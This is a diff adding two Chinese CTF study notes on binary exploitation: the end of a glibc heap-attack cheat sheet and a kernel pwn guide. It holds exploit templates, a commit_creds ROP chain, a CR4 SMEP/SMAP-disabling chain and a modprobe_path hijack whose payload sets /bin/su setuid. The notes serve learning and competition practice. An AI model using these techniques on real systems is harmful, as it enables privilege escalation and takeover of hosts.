+ add(0, 0x100)
143
+ add(1, 0x100) # 防止 top consolidation
144
+ free(0)
145
+ # UAF 改 bk 指针为 target - 0x10
146
+ edit(0, p64(0) + p64(target - 0x10))
147
+ add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 target
148
+ ```
149
+
150
+ ## large bin attack
151
+
152
+ ```text
153
+ 原理:large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
154
+ 2.32 起也加了 chunk size 检查,但仍可用于改 global_max_fast、_IO_list_all 等
155
+ 高级技巧,常用于 House of Husk 等组合拳
156
+ ```
157
+
158
+ ## House of XXX 速查
159
+
160
+ | 名称 | 适用版本 | 核心思想 |
161
+ |------|---------|---------|
162
+ | House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
163
+ | House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
164
+ | House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
165
+ | House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
166
+ | House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
167
+ | House of Botcake | 2.27+ | tcache + unsorted bin 组合,绕过 tcache double free 检查 |
168
+ | House of Husk | 2.27+ | 改 printf 的 hook table(__printf_function_table) |
169
+ | House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用,针对无 hook 版本 |
170
+ | House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
171
+
172
+ ## 真实利用步骤(通用 4 步)
173
+
174
+ ```text
175
+ Step 1: leak heap base
176
+ - 申请 chunk → free 到 tcache(2.32+ 保留 obfuscated fd) → show → 反推 heap
177
+ - 或:申请大 chunk → free 到 unsorted → 切回 → show fd
178
+
179
+ Step 2: leak libc base
180
+ - 大 chunk free 到 unsorted bin,fd/bk 残留 main_arena 地址
181
+ - show → leak → libc.address = leak - main_arena_offset
182
+
183
+ Step 3: 控 IP
184
+ - 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
185
+ - 2.34+: FILE struct 攻击(_IO_2_1_stdout_ / stderr),改 vtable → _IO_wfile_jumps
186
+ - 或:劫持 exit handlers(__exit_funcs / tls_dtor_list)
187
+
188
+ Step 4: getshell
189
+ - free_hook = system, free("/bin/sh") → shell
190
+ - 2.34+: setcontext + 53 gadget → rop chain in heap → execve
191
+ ```
192
+
193
+ ## libc 2.34+ 没有 hook 之后的替代路径
194
+
195
+ ### FILE struct 攻击(_IO_2_1_stdout_ / _IO_2_1_stderr_)
196
+
197
+ ```text
198
+ 目标:当程序调用 puts/printf 时,最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
199
+ 劫持:
200
+ 1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
201
+ 2. 伪造 vtable,让 __overflow 字段指向 system 或 setcontext
202
+ 3. 让 fp(FILE*)本身的前 8 字节是 "/bin/sh\x00"(作为 system 的 rdi)
203
+ 触发:任何 puts/printf/abort/exit 都会冲刷 stderr
204
+ ```
205
+
206
+ ### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
207
+
208
+ ```text
209
+ 原理:__run_exit_handlers 遍历 __exit_funcs 链表,调用每个 dtor
210
+ 劫持:改链表节点的 func 指针指向 system,arg 指向 "/bin/sh"
211
+ 注意:2.34+ 加了 PTR_DEMANGLE,需要 leak tls 里的 fs:[0x30] guard 值才能伪造
212
+ ```
213
+
214
+ ### tls_dtor_list(更现代)
215
+
216
+ ```text
217
+ __call_tls_dtors 遍历,结构类似,同样要绕过 PTR_DEMANGLE
218
+ 适用:程序退出时会走,比 FILE 攻击更通用
219
+ ```
220
+
221
+ ## pwndbg / GEF 堆调试命令
222
+
223
+ ```text
224
+ # pwndbg
225
+ heap # 显示当前 arena 所有 chunk
226
+ bins # 显示 tcache / fastbin / unsorted / small / large bins
227
+ tcache # 单独看 tcache
228
+ find_fake_fast <addr> <size> # 找一个能用作 fake chunk 的 fd 写入点
229
+ vis_heap_chunks # 可视化堆布局
230
+
231
+ # GEF
232
+ heap chunks
233
+ heap bins fast
234
+ heap bins tcache
235
+ heap chunk <addr>
236
+ ```
237
+
238
+ ## 典型 pwntools 模板(heap menu 题)
239
+
240
+ ```python
241
+ from pwn import *
242
+
243
+ context.binary = elf = ELF('./vuln')
244
+ libc = ELF('./libc.so.6')
245
+
246
+ p = process('./vuln') if not args.REMOTE else remote('host', 1337)
247
+
248
+ # IO 包装
249
+ def menu(choice):
250
+ p.sendlineafter(b'choice:', str(choice).encode())
251
+
252
+ def add(idx, size, data=b'\n'):
253
+ menu(1)
254
+ p.sendlineafter(b'idx:', str(idx).encode())
255
+ p.sendlineafter(b'size:', str(size).encode())
256
+ if data != b'\n':
257
+ p.sendafter(b'data:', data)
258
+
259
+ def free(idx):
260
+ menu(2)
261
+ p.sendlineafter(b'idx:', str(idx).encode())
262
+
263
+ def show(idx):
264
+ menu(3)
265
+ p.sendlineafter(b'idx:', str(idx).encode())
266
+ return p.recvline().strip()
267
+
268
+ def edit(idx, data):
269
+ menu(4)
270
+ p.sendlineafter(b'idx:', str(idx).encode())
271
+ p.sendafter(b'data:', data)
272
+
273
+ # === 后续根据漏洞类型选择技术栈 ===
274
+ ```
275
+
276
+ ## 注意事项
277
+
278
+ - **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc,利用路径完全不同
279
+ - **tcache 容量 = 7**(每个 size class)— 喷射够 7 个才会溢出到 unsorted/fastbin
280
+ - **chunk size = 用户请求 + 0x10 头部,向 0x10 对齐**(不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用)
281
+ - **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同,要做随机化测试
282
+ - **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
283
+ - **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`,pos 是要写入的地址不是要指向的地址
@@ -0,0 +1,370 @@
1
+ # 内核 Pwn (Kernel Pwn)
2
+
3
+ ## 准备环境
4
+
5
+ 典型内核题包:
6
+
7
+ ```text
8
+ kernel/
9
+ ├── bzImage # 压缩内核镜像
10
+ ├── vmlinux # 未压缩内核(带符号,用于 gdb)
11
+ ├── initramfs.cpio.gz / rootfs.img
12
+ ├── vuln.ko # 漏洞驱动
13
+ ├── run.sh # qemu 启动脚本
14
+ └── (.config) # 编译配置,可选
15
+ ```
16
+
17
+ ### 拆 initramfs 改 init 脚本
18
+
19
+ ```bash
20
+ mkdir initramfs && cd initramfs
21
+ zcat ../initramfs.cpio.gz | cpio -idm
22
+ # 或 newc 格式:
23
+ # cpio -idm < ../initramfs.cpio
24
+
25
+ # 改 init 拿 root(CTF 学习用,真实题目通常 setuid 1000)
26
+ sed -i 's|setuidgid 1000|setuidgid 0|g' init
27
+ # 或注释掉 user 切换那一行
28
+
29
+ # 重新打包
30
+ find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
31
+ cd ..
32
+ ```
33
+
34
+ ### 提取 vmlinux(如果只给了 bzImage)
35
+
36
+ ```bash
37
+ # 用 extract-vmlinux 脚本(kernel 源码 scripts/)
38
+ /usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinux
39
+ ```
40
+
41
+ ### QEMU 启动参数模板
42
+
43
+ ```bash
44
+ #!/bin/sh
45
+ qemu-system-x86_64 \
46
+ -m 256M \
47
+ -kernel ./bzImage \
48
+ -initrd ./initramfs.cpio.gz \
49
+ -cpu kvm64,+smep,+smap \
50
+ -append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
51
+ -monitor /dev/null \
52
+ -nographic \
53
+ -no-reboot \
54
+ -s # 开 gdb 端口 1234
55
+ ```
56
+
57
+ 关键参数对应的保护:
58
+
59
+ | 参数 | 含义 | 影响利用 |
60
+ |------|------|---------|
61
+ | `+smep` | 内核态不能执行用户态代码 | 必须用 ROP,不能跳到用户态 shellcode |
62
+ | `+smap` | 内核态不能访问用户态数据 | rop 链不能放用户态,要放内核态(堆喷 / msgsnd) |
63
+ | `+pku` | Protection Keys | 类似 SMAP |
64
+ | `nokaslr` | 禁用 KASLR | 函数地址固定 |
65
+ | `kaslr` | 启用 KASLR | 必须 leak |
66
+ | `pti=on` | KPTI(Meltdown 修复) | 用户态返回需要 swapgs_restore_regs_and_return_to_usermode |
67
+
68
+ ### 调试
69
+
70
+ ```bash
71
+ # 终端 1
72
+ ./run.sh # 带 -s
73
+
74
+ # 终端 2
75
+ gdb vmlinux
76
+ (gdb) target remote :1234
77
+ (gdb) b vulnerable_ioctl
78
+ (gdb) c
79
+ ```
80
+
81
+ GEF 推荐用 bata24 维护的 fork,对内核结构体有专门 pretty-print。
82
+
83
+ ## 漏洞类型分流
84
+
85
+ | 漏洞 | 典型来源 | 利用基线 |
86
+ |------|---------|---------|
87
+ | 内核栈溢出 | copy_from_user 长度可控 | 栈金丝雀 + KASLR → ROP |
88
+ | 内核堆溢出 | kmalloc slab 越界写 | slab 喷射 + 覆盖相邻对象 |
89
+ | UAF | refcount 错误 / 双 free | 重新申请同 slab → 控制释放对象 |
90
+ | 整数溢出 | size 计算溢出 → 小分配大拷贝 | 实际是溢出,同上 |
91
+ | TOCTOU | 用户态指针二次解引用 | userfaultfd / FUSE 拖时间 |
92
+ | race | 双线程同时 ioctl | 卡时序窗口 |
93
+ | 任意读写 | 已经是终极原语 | 直接改 cred / modprobe_path |
94
+
95
+ ## slab 喷射(堆 pwn 核心)
96
+
97
+ 把可控大小的内核对象喷到漏洞 slab,覆盖目标对象。
98
+
99
+ | slab size | 喷射对象 | 优点 |
100
+ |-----------|---------|------|
101
+ | kmalloc-64 / 96 | `seq_operations` | 有函数指针,覆盖即控 IP |
102
+ | kmalloc-1024 | `tty_struct` | 有 ops 指针,结构精美 |
103
+ | kmalloc-4096 | `pipe_buffer` | 现代版主力,6.x 仍有效 |
104
+ | 任意 size | `msg_msg` | 大小可控(8 - 4096+),sysv msgsnd 控数据 |
105
+ | kmalloc-128 | `user_key_payload` | keyctl 系列接口 |
106
+
107
+ ### msg_msg 喷射示例
108
+
109
+ ```c
110
+ // 用户态触发
111
+ int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
112
+
113
+ struct {
114
+ long mtype;
115
+ char mtext[0x80 - 0x30]; // 加上 msg_msg 头 0x30 = kmalloc-128
116
+ } msg = { .mtype = 0x1337 };
117
+ memset(msg.mtext, 'A', sizeof(msg.mtext));
118
+
119
+ msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 喷到 kmalloc-128
120
+ // ... 触发漏洞覆盖
121
+ msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak
122
+ ```
123
+
124
+ ## 提权路径
125
+
126
+ ### 1. commit_creds(prepare_kernel_cred(0)) ROP
127
+
128
+ 经典且通用。前提:能控 RIP(栈溢出 / vtable 劫持)。
129
+
130
+ ```c
131
+ // 用户态 ROP 链
132
+ uint64_t rop[] = {
133
+ pop_rdi, // pop rdi; ret
134
+ 0, // arg: 0
135
+ prepare_kernel_cred, // → 返回 root cred 到 rax
136
+ pop_rdi, // pop rdi; ret
137
+ /* 占位,下面 mov 会覆盖 */ 0,
138
+ /* mov rdi, rax; ... ; ret */ 0, // 转 rax→rdi(部分需要专门 gadget)
139
+ commit_creds, // 设置当前进程 cred = root
140
+ swapgs_restore_regs_and_return_to_usermode + 22, // 跳过 push 序列
141
+ 0, 0, // rax, rdi 占位
142
+ user_rip, // 用户态返回函数(保存了 cs/ss)
143
+ user_cs, user_rflags, user_rsp, user_ss,
144
+ };
145
+ ```
146
+
147
+ **关键 gadget**(要在 vmlinux 里 ROPgadget 找):
148
+
149
+ ```bash
150
+ ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
151
+ ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'
152
+ ```
153
+
154
+ 返回用户态前必须保存 cs/ss/rflags/rsp:
155
+
156
+ ```c
157
+ void save_state() {
158
+ __asm__(
159
+ "movq %%cs, %0\n"
160
+ "movq %%ss, %1\n"
161
+ "pushfq; popq %2\n"
162
+ "movq %%rsp, %3\n"
163
+ : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
164
+ }
165
+ void shell() { system("/bin/sh"); }
166
+ ```
167
+
168
+ ### 2. modprobe_path 改 /tmp/x(最省事)
169
+
170
+ ```text
171
+ 原理:
172
+ - 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
173
+ - 当 execve 一个不认识 magic 的文件时,内核调用 modprobe_path 以 root 执行
174
+ - 改成 "/tmp/x",写 /tmp/x(chmod +x),触发未知 magic 执行
175
+
176
+ 适用:有任意写原语,但不一定能 ROP
177
+ ```
178
+
179
+ ```c
180
+ // 1. 准备 payload
181
+ system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
182
+ system("chmod +x /tmp/x");
183
+
184
+ // 2. 准备触发文件
185
+ system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
186
+ system("chmod +x /tmp/trigger");
187
+
188
+ // 3. 漏洞写:把 modprobe_path 改成 "/tmp/x\x00"
189
+ arbitrary_write(modprobe_path_addr, "/tmp/x\x00");
190
+
191
+ // 4. 触发
192
+ system("/tmp/trigger");
193
+ // 内核 root 跑 /tmp/x,做了 chmod +s /bin/su
194
+
195
+ // 5. 利用 setuid
196
+ system("/bin/su");
197
+ ```
198
+
199
+ **modprobe_path 地址来源**:vmlinux 里符号,或 /proc/kallsyms(如果 kptr_restrict=0)。
200
+
201
+ ### 3. core_pattern hijack
202
+
203
+ ```text
204
+ 类似思想:/proc/sys/kernel/core_pattern 控制 coredump 处理程序
205
+ 改成 "|/tmp/x %P",让进程崩溃时调用
206
+ 缺点:需要触发 coredump,比 modprobe_path 笨重
207
+ ```
208
+
209
+ ### 4. 内核 ROP 关 SMEP/SMAP
210
+
211
+ 如果就是想跳回用户态 shellcode(学习目的),可以 ROP 关 cr4 的 bit:
212
+
213
+ ```c
214
+ // CR4: SMEP = bit 20, SMAP = bit 21
215
+ // 关 SMEP+SMAP 后,jmp 到用户态 shellcode 才能跑
216
+ uint64_t rop[] = {
217
+ pop_rdi,
218
+ 0x6f0, // CR4 期望值(去掉 SMEP/SMAP 位)
219
+ mov_cr4_rdi, // "mov cr4, rdi; pop rbp; ret" 之类
220
+ 0,
221
+ user_shellcode_addr, // 跳过去(如果还没关 SMEP 这步会失败)
222
+ };
223
+ ```
224
+
225
+ 实际上**真实利用基本不走这条路** — 直接 commit_creds ROP 更短更稳。
226
+
227
+ ## KASLR leak 渠道
228
+
229
+ | 来源 | 限制 | 备注 |
230
+ |------|------|------|
231
+ | /proc/kallsyms | `kptr_restrict=0` 才有真地址 | CTF 常常开放 |
232
+ | /sys/module/.../sections/.text | 同上 | 模块基址 |
233
+ | dmesg | `dmesg_restrict=0` 才能读 | oops 信息泄漏地址 |
234
+ | 内核栈未初始化读 | 漏洞本身要能任意读 | 残留地址 |
235
+ | msg_msg + 漏洞 leak | 喷射后 OOB read | 通用 |
236
+ | 旁路(Meltdown/Spectre) | KPTI 修了 Meltdown | 不通用 |
237
+ | SIDT/SGDT 用户态指令 | 老内核可能漏 | 现代基本封了 |
238
+
239
+ ```c
240
+ // 经典:从 /proc/kallsyms 读
241
+ FILE *f = fopen("/proc/kallsyms", "r");
242
+ char line[256];
243
+ unsigned long commit_creds = 0;
244
+ while (fgets(line, sizeof(line), f)) {
245
+ if (strstr(line, " commit_creds")) {
246
+ commit_creds = strtoul(line, NULL, 16);
247
+ break;
248
+ }
249
+ }
250
+ unsigned long kbase = commit_creds - 0xXXXXX; // 偏移看 vmlinux
251
+ ```
252
+
253
+ ## 完整 exploit 模板(用户态 + ioctl 触发 + ROP 提权 + shell)
254
+
255
+ ```c
256
+ // exploit.c — 内核 pwn 通用骨架
257
+ #define _GNU_SOURCE
258
+ #include <stdio.h>
259
+ #include <stdlib.h>
260
+ #include <unistd.h>
261
+ #include <fcntl.h>
262
+ #include <string.h>
263
+ #include <sys/ioctl.h>
264
+ #include <sys/mman.h>
265
+
266
+ static unsigned long user_cs, user_ss, user_rflags, user_rsp;
267
+
268
+ static void save_state(void) {
269
+ __asm__ volatile(
270
+ "movq %%cs, %0\n"
271
+ "movq %%ss, %1\n"
272
+ "pushfq; popq %2\n"
273
+ "movq %%rsp, %3\n"
274
+ : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
275
+ :: "memory");
276
+ }
277
+
278
+ static void win(void) {
279
+ if (getuid() == 0) {
280
+ puts("[+] root!");
281
+ system("/bin/sh");
282
+ } else {
283
+ puts("[-] not root");
284
+ }
285
+ exit(0);
286
+ }
287
+
288
+ // === KASLR base(先 leak 或 nokaslr 时直接写死) ===
289
+ #define KBASE_DEFAULT 0xffffffff81000000UL
290
+ #define OFF_COMMIT_CREDS 0x0xxxxx
291
+ #define OFF_PREPARE_KERNEL_CRED 0x0xxxxx
292
+ #define OFF_POP_RDI 0x0xxxxx
293
+ #define OFF_MOV_RDI_RAX 0x0xxxxx
294
+ #define OFF_SWAPGS_RESTORE 0x0xxxxx
295
+
296
+ int main(void) {
297
+ save_state();
298
+
299
+ // 1. leak KASLR base(这里假设 /proc/kallsyms 可读,或自己写一个 leak primitive)
300
+ unsigned long kbase = leak_kbase();
301
+
302
+ unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
303
+ unsigned long commit_creds = kbase + OFF_COMMIT_CREDS;
304
+ unsigned long pop_rdi = kbase + OFF_POP_RDI;
305
+ unsigned long mov_rdi_rax = kbase + OFF_MOV_RDI_RAX;
306
+ unsigned long swapgs_restore = kbase + OFF_SWAPGS_RESTORE + 22;
307
+
308
+ // 2. 构造 ROP(在用户栈或在喷出来的 fake 栈上)
309
+ unsigned long *rop = mmap((void*)0x100000, 0x1000,
310
+ PROT_READ|PROT_WRITE,
311
+ MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
312
+ int i = 0;
313
+ rop[i++] = pop_rdi;
314
+ rop[i++] = 0;
315
+ rop[i++] = prepare_kernel_cred;
316
+ rop[i++] = mov_rdi_rax;
317
+ rop[i++] = commit_creds;
318
+ rop[i++] = swapgs_restore;
319
+ rop[i++] = 0; // rax
320
+ rop[i++] = 0; // rdi
321
+ rop[i++] = (unsigned long)win;
322
+ rop[i++] = user_cs;
323
+ rop[i++] = user_rflags;
324
+ rop[i++] = (unsigned long)(rop + 100); // 临时 user rsp,可指 mmap 高处
325
+ rop[i++] = user_ss;
326
+
327
+ // 3. 触发漏洞,让内核 RIP 跳到 rop[0]
328
+ int fd = open("/dev/vuln", O_RDWR);
329
+ trigger(fd, rop); // 题目相关:ioctl / write / read
330
+
331
+ return 0;
332
+ }
333
+ ```
334
+
335
+ ## 学习参考:CVE-2022-0185
336
+
337
+ ```text
338
+ 漏洞:fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
339
+ → kmalloc 堆缓冲区溢出,size 任意,data 任意
340
+
341
+ 为什么是好的学习样本:
342
+ 1. 不需要 root 触发(unprivileged user namespace)
343
+ 2. 溢出大小完全可控
344
+ 3. 公开有完整 writeup + PoC
345
+ 4. 综合了:user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用
346
+
347
+ 学习路径:
348
+ 1. 编译带 CONFIG_USER_NS=y 的内核
349
+ 2. 跑 Crusaders of Rust 的原版 PoC:https://www.openwall.com/lists/oss-security/2022/01/18/7
350
+ 3. 看 willsroot.io 的官方 writeup(PortSwigger 收录的版本)
351
+ 4. 手动重写:把 msg_msg 喷射改成 pipe_buffer 喷射版本(练习不同 slab 路径)
352
+ 5. 加上 KASLR leak(原版用 /proc/kallsyms,挑战版禁用后改 OOB read)
353
+ ```
354
+
355
+ 主要技术点对应本文档的章节:
356
+
357
+ - 漏洞类型 → "内核堆溢出"
358
+ - 喷射对象 → "msg_msg 喷射"
359
+ - 提权方法 → "commit_creds ROP" 或 "modprobe_path"
360
+ - KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"
361
+
362
+ ## 注意事项
363
+
364
+ - **CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT** 让内核栈基址每次 syscall 都随机偏移 0-1023,影响所有依赖固定栈偏移的利用
365
+ - **CONFIG_SLAB_FREELIST_RANDOM / HARDENED** 让 slab 内对象分配随机化,喷射成功率下降,要多喷
366
+ - **CONFIG_STATIC_USERMODEHELPER** 把 modprobe_path 设为只读 `static_usermodehelper_path`,modprobe 攻击失效
367
+ - **KPTI** 让用户态/内核态页表分离,返回用户态必须走 `swapgs_restore_regs_and_return_to_usermode` 这个 trampoline,不能直接 swapgs+iretq
368
+ - **FG-KASLR**(function-granular KASLR)让函数级别随机化,需要 leak 多个符号反推每个函数偏移
369
+ - **CET / IBT**(Intel 控制流强制)让间接跳转必须落在 ENDBR 指令,部分 gadget 失效
370
+ - **不要在内核里调 printk 输出测试** — 串口 IO 会改变时序,破坏 race;用一个 magic 寄存器值(rcx=0xdeadbeef)+ gdb watch 来调试